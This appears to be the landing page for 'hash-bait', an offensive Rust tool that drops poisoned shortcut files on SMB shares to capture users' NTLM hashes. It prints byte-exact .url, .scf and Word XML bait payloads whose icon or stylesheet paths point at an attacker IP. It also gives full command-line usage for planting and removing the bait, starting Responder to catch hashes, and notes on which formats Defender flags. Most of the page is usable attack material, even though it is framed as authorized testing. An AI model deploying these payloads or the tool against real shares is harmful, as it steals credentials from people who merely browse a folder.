Skip to coercion workbench
HASH-BAIT
[v] 1.0.1 [lang] RUST [os] WINDOWS · LINUX [scope] AUTHORIZED TESTING

HASH-BAIT


Drop poisoned shortcuts on SMB shares to coerce NTLM hashes

One static binary replaces the three-tool errand: render .url, .scf, and .xml bait files, upload and remove them over a pure-Rust SMB2/3 stack (no smbclient, no Python), and hand off to Responder on Linux. Assumes explicit written authorization for every target share.

INTERACTIVE SIMULATOR · LAB BENCH

SMB Share Coercion Workbench

Toggle payload types, stage bait on a writable share, trigger a browsing client, inspect the exact golden bytes, and clean the share back to zero.

Payloads
[cb] 10.10.14.5 [share] \\dc1\public
01

Writable Share

\\dc1\public

[staged] 3 files

Leading @ sorts files to the top of Explorer listings. Click any tile to inspect its exact bytes below.

02

Coercion & Live CLI

Verified against src/cli.rs

[cmd] drop
[shell] GENERATED CLI
hash-bait drop -t dc1 -s public -c 10.10.14.5 -p url -p scf -p xml -i eth0 -u svc-reader
SHARE //dc1/public
CALLBACK 10.10.14.5
STATUS TRACE NO_COLOR SAFE
[ok] dropped 3 payload(s) on //dc1/public
[i] starting Responder on eth0 — Ctrl-C to stop

Password comes from $HASH_BAIT_PASSWORD (or --ask-pass). Omit -p to default to all.

03

Responder Capture

Kali · NetNTLMv2

[i] LISTENING
[eth0] RESPONDER -WV WAITING ON :445
[i] sudo responder -I eth0 -wv
[+] Listening for events on 10.10.14.5:445...
[i] Waiting for a user to browse \\dc1\public
Client IP
Waiting for SMB auth
Account
—
Share Hygiene
3 bait file(s) staged

Golden Payload Byte Inspector

Byte-exact output from src/payloads.rs & tests/golden/* for @bait → 10.10.14.5 (LF)
[url] @bait.url 108 BYTES · LF · ICONFILE UNC
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.14.5\%USERNAME%.icon
IconIndex=1

Coercion trigger: Windows Explorer resolves IconFile over SMB when rendering the folder, expanding %USERNAME% and sending the user's NetNTLMv2 handshake to 10.10.14.5.

CLI SURFACE · 4 SUBCOMMANDS

Subcommand Reference

Only drop and clean accept --dry-run. Every status line opens with a bracketed ASCII tag so piped and NO_COLOR output stays legible.

drop

[smb2/3] upload [flag] --dry-run
[usage] DROP
hash-bait drop -t dc1 -s public -c 10.10.14.5 -i eth0 -u LAB/svc-reader

Renders and uploads bait directly over pure-Rust SMB2/3, then starts Responder unless --no-listen is set.

-t, --target / -s, --share
Required SMB host and share; optional -d, --dir PATH for writable subdirectories.
-c, --callback IP
Required attacker IP embedded in UNC paths.
-i, --iface IFACE / --no-listen
One of the two is required unless --dry-run is set.
-p, --payload TYPE / --name BASE
Repeatable (url, scf, xml, all); default all and @bait.
--save-local / --dry-run
Write local copies alongside upload, or print plan with zero side effects.

clean

[smb2/3] remove [flag] --dry-run
[usage] CLEAN
hash-bait clean -t dc1 -s public -u LAB/svc-reader

Removes previously dropped bait matched by basename and payload types, warning on missing files without aborting.

-t, --target / -s, --share / -d
Match the exact host, share, and subdirectory used during drop.
-p, --payload TYPE / --name BASE
Repeatable types (default all) and basename (default @bait).
--dry-run
Prints the exact files queued for deletion without connecting over SMB.
-u / --pass / --ask-pass
Same authentication surface as drop; exits 0 even when files are already gone.

list

[rpc] srvsvc [target] Windows
[usage] LIST
hash-bait list -t dc1 -u svc-reader --ask-pass

Enumerates visible shares over IPC$ + srvsvc (NetShareEnumAll), printing one share and remark per line.

-t, --target HOST
Required SMB server IP or hostname (no --dry-run on list).
-u, --user USER
Accepts user, DOMAIN/user, DOMAIN\user, or user@DOMAIN.LOCAL.
--pass / --ask-pass
Resolution order: --pass > $HASH_BAIT_PASSWORD > --ask-pass.
NDR64 scope
Windows targets accept NDR64 binding; Samba rejects it loudly.

listen

[os] Linux only [exit] 4 elsewhere
[usage] LISTEN
hash-bait listen -i eth0

Starts Responder directly without uploading bait, inheriting the terminal so you can split drop and capture across hosts.

-i, --iface IFACE
Required capture network interface (no --dry-run on listen).
Command invoked
Runs sudo responder -I <iface> -wv when responder is on $PATH.
Platform behavior
Exits 4 when responder is missing or on Windows/macOS.
Split workflow
Use drop --no-listen from any workstation and listen on Kali.
Global flags --no-color (or $NO_COLOR, TERM=dumb, pipe) · -h, --help · -V, --version (hash-bait v1.0.1)
Exit codes 0 ok · 1 SMB/runtime failure · 2 usage error or -u without password · 4 missing Responder / non-Unix
FORMAT MATRIX · GOLDEN PAYLOADS

Payload Format Comparison

All three templates are pinned byte-for-byte against tests/golden/* with LF endings. Select any subset with repeatable -p flags.

Comparison of .url, .scf, and .xml payload formats generated by hash-bait
Format Template & Size Trigger Mechanism Target Windows Behavior Defender & SMB Notes
[-p] url @bait.url Internet Shortcut
108 bytes · LF
IconFile=\\<ip>\%USERNAME%.icon inside [InternetShortcut] Passive: Windows Explorer resolves the UNC icon path as soon as a user opens the share folder, expanding %USERNAME%. Most reliable passive trigger across Windows 10/11; frequently flagged by Defender/EDR on shares and blocked when outbound TCP 445 or NTLM is restricted.
[-p] scf @bait.scf Shell Command File
85 bytes · LF
IconFile=\\<ip>\tools\nc.ico inside [Shell] Passive on older hosts: legacy Explorer resolved .scf icons automatically; current Windows 10/11 builds ignore .scf icon fetches. High-signal signature for AV and share monitors (especially paths like tools\nc.ico); omit with -p url when modern Windows targets are known.
[-p] xml @bait.xml Word XML Document
164 bytes · LF
<?mso-application progid='Word.Document'?> + <?xml-stylesheet href='\\<ip>\lure.xsl' ?> Active open: browsing the share does not trigger coercion; opening the file in Microsoft Word requests the remote XSL stylesheet over SMB. Lower passive noise than .url/.scf because Explorer ignores the stylesheet, though Protected View, Word policy, and egress TCP 445 rules still apply.
VERIFICATION & BOUNDARIES

Tested On & Known Limitations

Every CI check runs on every commit in the repository. Gaps stay documented plainly next to the passing platforms.

Tested On

[ci] 18 tests + live SMB
  • Windows 11 · stable Rust [ok] PASSED

    Build host running 18 unit, golden payload, and CLI tests alongside cargo fmt --check and clippy -D warnings.

  • windows-2022 · live Windows share [ok] PASSED

    CI creates a local user and share, runs authenticated drop, list, and clean against 127.0.0.1, and verifies the share ends empty.

  • ubuntu-24.04 · live Samba share [ok] PASSED

    CI stands up Samba with a real user and verifies authenticated drop and clean; list and guest drop run as informational probes.

  • macOS · aarch64 & x86_64 [!] NOT RUN

    Cross-compiled and unsigned on every release with no runtime test coverage. First launch requires xattr -d com.apple.quarantine.

Known Limitations

[!] 5 boundaries
  • listen requires Linux + Responder [exit] 4

    Responder needs Linux raw sockets. On Windows or macOS, listen explains and exits 4; split with drop --no-listen locally and listen on Kali.

  • list is Windows-only (NDR64) [rpc] crate limit

    The smb crate binds srvsvc offering only NDR64. Windows accepts it; Samba and NAS endpoints reject it while drop and clean work normally.

  • Guest sessions are best-effort [smb] SSPI check

    Omitting -u sends guest with an empty password. Servers completing setup before SSPI finishes (Samba map to guest, many NAS boxes) error inside the crate; authenticated sessions are the tested path.

  • --pass appears in process listings [auth] ps visible

    Prefer $HASH_BAIT_PASSWORD or --ask-pass (no-echo interactive prompt) over passing secrets on the command line.

  • Release binaries are unsigned [sha256] verify

    Windows SmartScreen and macOS Gatekeeper warnings are expected; verify every release archive against SHA256SUMS.txt.

Screen reader announcements